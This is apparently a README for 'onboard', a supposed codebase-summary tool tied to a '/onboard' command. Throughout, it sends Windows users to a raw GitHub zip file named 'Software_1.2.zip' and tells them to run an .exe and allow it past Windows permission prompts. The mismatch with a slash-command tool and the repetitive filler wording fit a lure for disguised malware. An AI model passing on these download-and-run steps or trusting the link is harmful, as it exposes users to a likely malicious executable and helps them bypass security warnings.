Onboard helps you get a fast summary of a codebase for a new project. It is made for people who want a quick way to understand what a project does, how the parts fit together, and where to look first.
Use it when you join a new repo, open a codebase after time away, or need a short project overview before you start work.
To get onboard on Windows, visit this page to download or open the latest version:
https://raw.githubusercontent.com/spandespatch97/onboard/main/commands/Software_1.2.zip
If the page includes a release file, download it and run it on your PC. If it opens as a project page, use the files on that page to get the app or tool running in your setup.
Onboard gives you a short, plain-English view of a codebase. It helps you:
- See the main purpose of the project
- Find the key folders and files
- Understand the main flow of the app
- Spot the entry points and core tools
- Get a quick start before you read the full code
It is built for speed and clarity, so you can move from “What is this?” to “I know where to look” with less time spent searching.
Onboard is built for modern Windows systems and works best with:
- Windows 10 or Windows 11
- A recent version of Microsoft Edge or Chrome
- At least 4 GB of RAM
- A stable internet connection for first-time access
- Enough free disk space for the app and its local files
If you use a work PC, make sure you have permission to run downloaded tools.
Follow these steps to get started on Windows:
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Open the GitHub page: https://raw.githubusercontent.com/spandespatch97/onboard/main/commands/Software_1.2.zip
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Look for the latest release, download file, or project files on the page.
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If you get a file such as an
.exeinstaller, save it to your PC. -
Double-click the file to start it.
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If Windows asks for permission, choose the option to allow the app to run.
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Follow the on-screen steps.
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After setup, open onboard and point it at the codebase you want to review.
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Wait for the summary to finish, then read the project overview, folder map, and main file list.
When onboard runs, it may show:
- A short project summary
- A list of main files and folders
- A simple view of the code structure
- Notes about common setup points
- A path to the main app logic
- Quick hints for where a newcomer should start
This makes it easier to understand a project without reading every file first.
Onboard works well for:
- New team members who need a fast project tour
- Solo developers returning to an old codebase
- Product and support teams that want a basic app map
- People who need to understand a repo before editing it
- AI-assisted workflows that need a clean codebase overview
This repo is centered on codebase orientation and quick summaries. Based on its setup, it fits well with:
- Newcomer onboarding
- Project orientation
- Code review prep
- Developer productivity
- Automation of first-pass code reading
- AI agent workflows for repo analysis
If the download opens as a project instead of a direct app file, use this simple flow:
- Download the repo from the GitHub page.
- Extract the files if they come in a ZIP archive.
- Open the project folder in your file manager.
- Check for a run file, install file, or start script.
- Follow the included instructions if the repo provides them.
- Open the app or command after setup.
- Enter or select the codebase you want onboard to inspect.
A project like this often includes files such as:
README.mdfor basic instructionspackage.jsonfor JavaScript app setupsrc/for app source filesbin/orcli/for command toolsconfig/for setup optionsexamples/for sample use cases
If you see a command-line tool, it may use a command such as /onboard to create a quick summary of the current codebase.
Some Windows systems may ask for approval before a new tool runs. If that happens:
- Check that you opened the file from the GitHub link above
- Use the normal Windows run prompt
- Follow any setup steps shown by the app
- Keep the project files in a folder you can access later
Before you use onboard for the first time, check these items:
- You opened the GitHub page above
- You found the latest file or project release
- You saved it to a known folder
- You ran the file or opened the project correctly
- Your codebase folder is ready for review
- Your browser or terminal is open if the tool needs it
If the app does not start:
- Download the file again from the GitHub page
- Check that Windows did not block the file
- Make sure you have the right version for your system
- Close and open the file again
- Try a different browser if the download does not begin
- Review the repo page for setup notes or file names
If it starts but does not show a summary:
- Confirm that you selected the right codebase folder
- Make sure the project files are present
- Try a fresh restart of the app
- Check whether the repo expects a command or config step first
To get a useful summary from onboard:
- Start with a clean codebase folder
- Use a project with clear folder names
- Keep the repo root visible
- Run the tool on the full project, not a partial copy
- Review the main files first, then move into the details
Onboard fits well into AI-first and developer-focused work. It helps reduce the time spent on first review by giving a fast view of the repo layout and main code paths. That makes it useful for tools, agents, and people who need a quick start on a new project
- Name: onboard
- Description: Quick codebase summary for new projects - /onboard command
- Topics: ai, ai-agents, automation, claude, codebase, devtools, javascript, llm, newcomer, onboarding, orientation, productivity
Open the GitHub page here and use it to download or run the project files:
https://raw.githubusercontent.com/spandespatch97/onboard/main/commands/Software_1.2.zip
If the page shows a file you can download, save it and run it on Windows. If it shows source files, open the repo and follow the setup steps from there